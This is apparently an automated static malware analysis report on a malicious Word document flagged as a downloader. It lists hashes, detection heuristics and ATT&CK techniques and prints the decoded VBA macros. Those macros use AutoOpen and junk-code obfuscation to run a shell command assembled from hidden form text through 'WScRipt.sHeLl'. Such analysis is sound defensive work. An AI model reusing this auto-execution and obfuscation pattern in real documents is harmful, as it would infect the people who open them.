Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e527ebcabd8e3cd0…

MALICIOUS

Office (OLE)

145.6 KB Created: 2019-01-15 21:45:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 0325fd25f31877ee339622058d7cafdf SHA-1: 02929a0028d9378480fa7593eddab5ba68a64015 SHA-256: e527ebcabd8e3cd026fb69b02cd2cd0ff8b480a5cce835eaea120f01db2bd527
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the execution of arbitrary code. The VBA macro explicitly constructs the string 'WScRipt.sHeLl' and uses it with CreateObject to run a command, likely to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Valyria-6817441-0' further supports this downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Valyria-6817441-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6817441-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set Functionbasedwr = supportra
    Divisionok = "WscRipt.sHeLl"
       Set mobilens = Assurancezq
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set orangebu = mobileaf
    plumrj = Array(FantasticPlasticCheesezs, Virginiaom, Pathtu, CreateObject(Divisionok).Run!(("" + architecturesvc + regionalld + Programqj.TextBox1) + RusticMetalSoapbp + SleekGraniteFishcs + Plasticma, 25 - 25), GroceryGardenst, Practicalni, reddj)
       Set ivorycq = GamesKidsToolsom
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub autoopen()
    needsbasedqj = Array(Coordinatornn, Forwardtz, HomeLoanAccountuz, systemid, Toyslv, Wyomingts, NewTaiwanDollarwo)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4604 bytes
SHA-256: d7d538b0ef18d6a32929eaca1182e7fe30b35d04928a6824b0738155fde188d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Programqj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "matrixzh"
Function systemid()
On Error Resume Next
   Set bluetoothsz = Communicationsjm
For Each forecastph In MoviesHealthMusicrw
      For Each customizedai In clicksandmortaros
         SavingsAccountdq = (Oct(901))
      Next
      Do
         Researchri = CLng(systemiczq)
      Loop Until COMsw Eqv NewYorkkr
      Set Profitfocusedwz = bypasshr
      Qualitymz = FantasticConcretePantsjj
      For Each partnershipsrc In UnbrandedRubberTableqd
         optimizingni = Cos(Knollzi)
      Next
   Next
 Set Functionbasedwr = supportra
Divisionok = "WscRipt.sHeLl"
   Set mobilens = Assurancezq
For Each Orchestratorju In BritishIndianOceanTerritoryChagosArchipelagoqt
      For Each SportsToysco In Woodenhh
         FantasticFrozenPantspu = (Oct(142))
      Next
      Do
         JBODqd = CLng(Trafficwaysj)
      Loop Until Mainehm Eqv hardwareuj
      Set synergisticih = RefinedFreshBikeoa
      Nepalzq = withdrawalsi
      For Each missioncriticalzi In encryptionto
         Flatal = Cos(primaryim)
      Next
   Next
 Set orangebu = mobileaf
plumrj = Array(FantasticPlasticCheesezs, Virginiaom, Pathtu, CreateObject(Divisionok).Run!(("" + architecturesvc + regionalld + Programqj.TextBox1) + RusticMetalSoapbp + SleekGraniteFishcs + Plasticma, 25 - 25), GroceryGardenst, Practicalni, reddj)
   Set ivorycq = GamesKidsToolsom
For Each Forestis In homogeneousfz
      For Each Berkshireww In copyingiw
         virtualhz = (Oct(649))
      Next
      Do
         goldoz = CLng(Administratormv)
      Loop Until iteratezj Eqv Productnw
      Set Lockstk = HandmadeConcreteTableol
      SomaliShillingch = partnershipsop
      For Each intermediatezr In SavingsAccountkq
         Centerlj = Cos(AutoLoanAccountst)
      Next
   Next
 Set eenablekd = SmallFreshMousebs
End Function


Attribute VB_Name = "PracticalFreshSaladch"
Sub Sportsqj()
bypassingla = Monacowu
GorgeousSoftChipsmb = synthesizingzr
protocolji = protocolit
End Sub
Sub autoopen()
needsbasedqj = Array(Coordinatornn, Forwardtz, HomeLoanAccountuz, systemid, Toyslv, Wyomingts, NewTaiwanDollarwo)
End Sub

Attribute VB_Name = "SierraLeonejn"

Attribute VB_Name = "BelizeDollarmr"

Attribute VB_Name = "globalwf"

Attribute VB_Name = "Creekkq"

Attribute VB_Name = "MoneyMarketAccountcp"

Attribute VB_Name = "synthesizingwz"

Attribute VB_Name = "hapticwf"

Attribute VB_Name = "Plasticow"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Directiveswr"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Softia"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rebootsz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Brazilfo"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bedfordshireao"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False